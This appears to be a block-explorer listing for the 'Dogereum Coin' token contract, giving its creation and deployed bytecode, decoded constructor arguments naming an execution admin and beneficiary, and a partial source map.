6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600760009054906101000a900460ff1615600760006101000a81548160ff021916908315150217905550565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600760009054906101000a900460ff161515141561171b5760008211156115e7576115e2816122c7565b611651565b6040516115f39061232f565b604051809103906000f08015801561160f573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561170257600080fd5b505af1158015611716573d6000803e3d6000fd5b505050505b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600881526020017f444f47455245554d000000000000000000000000000000000000000000000000815250905090565b60006119c6338484611d74565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612554602c913960400191505060405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f44f92d27abdf4cfb6a7d712c3af68f3be086d4ca747ab802c36f67d6790060d88282604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a15050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c175750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611c89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f7420617070726f766520776974682030783000000000000000000081525060200191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015611e2557600080fd5b505af1158015611e39573d6000803e3d6000fd5b50505050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ee0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f43616e6e6f742073656e6420746f20307830000000000000000000000000000081525060200191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f6e6f7420656e6f7567682066756e64000000000000000000000000000000000081525060200191505060405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60005a84039050858111156120ab578590505b828101905060008582029050858282816120c157fe5b0414612135576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6f766572666c6f7700000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b612140888483611d74565b5050505050505050565b600081118015612160575061215e82611098565b155b156121fc576000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121fa576121f9848484611bad565b5b505b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122a057600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166122c2565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6122cf612319565b156123165780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060149054906101000a900460ff16905090565b6101798061233d8339019056fe608060405234801561001057600080fd5b50610159806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61009c6004803603606081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061009e565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505056fea2646970667358221220d7635a0c966af22e280a777879a06b6c5351a4e2b0fd55ab2e03a3d93236c50864736f6c634300070600336d73672e73656e64657220213d206f776e6572202626202173757065724f70657261746f726f6e6c7920657865637574696f6e206f70657261746f727320616c6c6f77656420746f2070657266726f6d207472616e7366657220616e64206368617267656f6e6c7920657865637574696f6e2061646d696e20697320616c6c6f77656420746f2061646420657865637574696f6e206f70657261746f72736f6e6c792061646d696e20697320616c6c6f77656420746f20616464207375706572206f70657261746f72736f6e6c7920657865637574696f6e41646d696e2063616e206368616e676520657865637574696f6e41646d696ea26469706673582212200de85f75995c44ec224a2ac4a0fcbc466f7767fa75f3a6b3cba6ab4ab6c538aa64736f6c63430007060033608060405234801561001057600080fd5b50610159806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61009c6004803603606081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061009e565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505056fea2646970667358221220d7635a0c966af22e280a777879a06b6c5351a4e2b0fd55ab2e03a3d93236c50864736f6c634300070600330000000000000000000000004d5e1edda9aadcf4836cfe1fc5213d87ebd907d50000000000000000000000004d5e1edda9aadcf4836cfe1fc5213d87ebd907d5
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063654b748a116100c35780638da5cb5b1161007c5780638da5cb5b146107285780638f2839701461075c57806395d89b41146107a0578063a9059cbb14610823578063ac9fe42114610887578063dd62ed3e146108d75761014d565b8063654b748a14610584578063699c834b146105de5780636d7528001461062e57806370a0823114610638578063715018a614610690578063787ca65f1461069a5761014d565b806323b872dd1161011557806323b872dd1461035d5780632b991746146103e1578063313ce5671461046557806350bd46b6146104865780635fd72d16146104a657806361247de31461052a5761014d565b806306fdde03146101525780630819ba74146101d5578063095ea7b31461021957806315ed2f1e1461027d57806318160ddd1461033f575b600080fd5b61015a61094f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610217600480360360208110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098c565b005b6102656004803603604081101561022f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b03565b60405180821515815260200191505060405180910390f35b610327600480360360e081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1a565b60405180821515815260200191505060405180910390f35b610347610bf5565b6040518082815260200191505060405180910390f35b6103c96004803603606081101561037357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bff565b60405180821515815260200191505060405180910390f35b61044d600480360360608110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e46565b60405180821515815260200191505060405180910390f35b61046d610f36565b604051808260ff16815260200191505060405180910390f35b61048e610f3f565b60405180821515815260200191505060405180910390f35b610512600480360360608110156104bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f52565b60405180821515815260200191505060405180910390f35b61056c6004803603602081101561054057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105c66004803603602081101561059a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611098565b60405180821515815260200191505060405180910390f35b61062c600480360360408110156105f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110ee565b005b610636611246565b005b61067a6004803603602081101561064e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131a565b6040518082815260200191505060405180910390f35b610698611363565b005b610726600480360360808110156106b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f3565b005b610730611721565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61079e6004803603602081101561077257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b005b6107a861197c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e85780820151818401526020810190506107cd565b50505050905090810190601f1680156108155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61086f6004803603604081101561083957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119b9565b60405180821515815260200191505060405180910390f35b6108d56004803603604081101561089d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506119d0565b005b610939600480360360408110156108ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b26565b6040518082815260200191505060405180910390f35b60606040518060400160405280600d81526020017f446f67657265756d20436f696e00000000000000000000000000000000000000815250905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612580602d913960400191505060405180910390fd5b7fb2b670b34860515166c00eba5e2e5fa8116d57091604f37ba24ac8021c7fa165600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a180600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610b10338484611bad565b6001905092915050565b6000805a9050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f8152602001806124db603f913960400191505060405180910390fd5b610bcd898989611d74565b6000851115610be557610be4898787848888612098565b5b6001915050979650505050505050565b6000600454905090565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610c875750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610e30576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e2e5782811015610daa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420656e6f7567682066756e647320616c6c6f776564000000000000000081525060200191505060405180910390fd5b828103600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505b610e3b848484611d74565b600190509392505050565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ecb5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124b66025913960400191505060405180910390fd5b610f2b848484611bad565b600190509392505050565b60006009905090565b600760009054906101000a900460ff1681565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fd75750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61102c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124b66025913960400191505060405180910390fd5b61103784848461214a565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a81526020018061251a603a913960400191505060405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffcebaa973ed84808fb785c92941aa4798f3f66923f5a2ff544382db3a9b3a3a28282604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a15050565b61124e612201565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600760009054906101000a900460ff1615600760006101000a81548160ff021916908315150217905550565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600760009054906101000a900460ff161515141561171b5760008211156115e7576115e2816122c7565b611651565b6040516115f39061232f565b604051809103906000f08015801561160f573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561170257600080fd5b505af1158015611716573d6000803e3d6000fd5b505050505b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600881526020017f444f47455245554d000000000000000000000000000000000000000000000000815250905090565b60006119c6338484611d74565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612554602c913960400191505060405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f44f92d27abdf4cfb6a7d712c3af68f3be086d4ca747ab802c36f67d6790060d88282604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a15050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c175750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611c89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f7420617070726f766520776974682030783000000000000000000081525060200191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015611e2557600080fd5b505af1158015611e39573d6000803e3d6000fd5b50505050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ee0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f43616e6e6f742073656e6420746f20307830000000000000000000000000000081525060200191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f6e6f7420656e6f7567682066756e64000000000000000000000000000000000081525060200191505060405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60005a84039050858111156120ab578590505b828101905060008582029050858282816120c157fe5b0414612135576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6f766572666c6f7700000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b612140888483611d74565b5050505050505050565b600081118015612160575061215e82611098565b155b156121fc576000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121fa576121f9848484611bad565b5b505b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122a057600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166122c2565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6122cf612319565b156123165780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060149054906101000a900460ff16905090565b6101798061233d8339019056fe608060405234801561001057600080fd5b50610159806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61009c6004803603606081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061009e565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505056fea2646970667358221220d7635a0c966af22e280a777879a06b6c5351a4e2b0fd55ab2e03a3d93236c50864736f6c634300070600336d73672e73656e64657220213d206f776e6572202626202173757065724f70657261746f726f6e6c7920657865637574696f6e206f70657261746f727320616c6c6f77656420746f2070657266726f6d207472616e7366657220616e64206368617267656f6e6c7920657865637574696f6e2061646d696e20697320616c6c6f77656420746f2061646420657865637574696f6e206f70657261746f72736f6e6c792061646d696e20697320616c6c6f77656420746f20616464207375706572206f70657261746f72736f6e6c7920657865637574696f6e41646d696e2063616e206368616e676520657865637574696f6e41646d696ea26469706673582212200de85f75995c44ec224a2ac4a0fcbc466f7767fa75f3a6b3cba6ab4ab6c538aa64736f6c63430007060033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000004d5e1edda9aadcf4836cfe1fc5213d87ebd907d50000000000000000000000004d5e1edda9aadcf4836cfe1fc5213d87ebd907d5
-----Decoded View---------------
Arg [0] : executionAdmin (address): 0x4D5E1edDa9aADcF4836cfe1FC5213d87EBd907D5
Arg [1] : beneficiary (address): 0x4D5E1edDa9aADcF4836cfe1FC5213d87EBd907D5
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000004d5e1edda9aadcf4836cfe1fc5213d87ebd907d5
Arg [1] : 0000000000000000000000004d5e1edda9aadcf4836cfe1fc5213d87ebd907d5
Deployed Bytecode Sourcemap
97:784:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;431:93;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;451:269:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;3281:184:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;2485:620:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;683:91:3;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2371:684;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;3759:345;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;1608:82;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;411:23;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;4112:361;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;1664:119:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;1031:111:6;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;1111:356:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;720:156: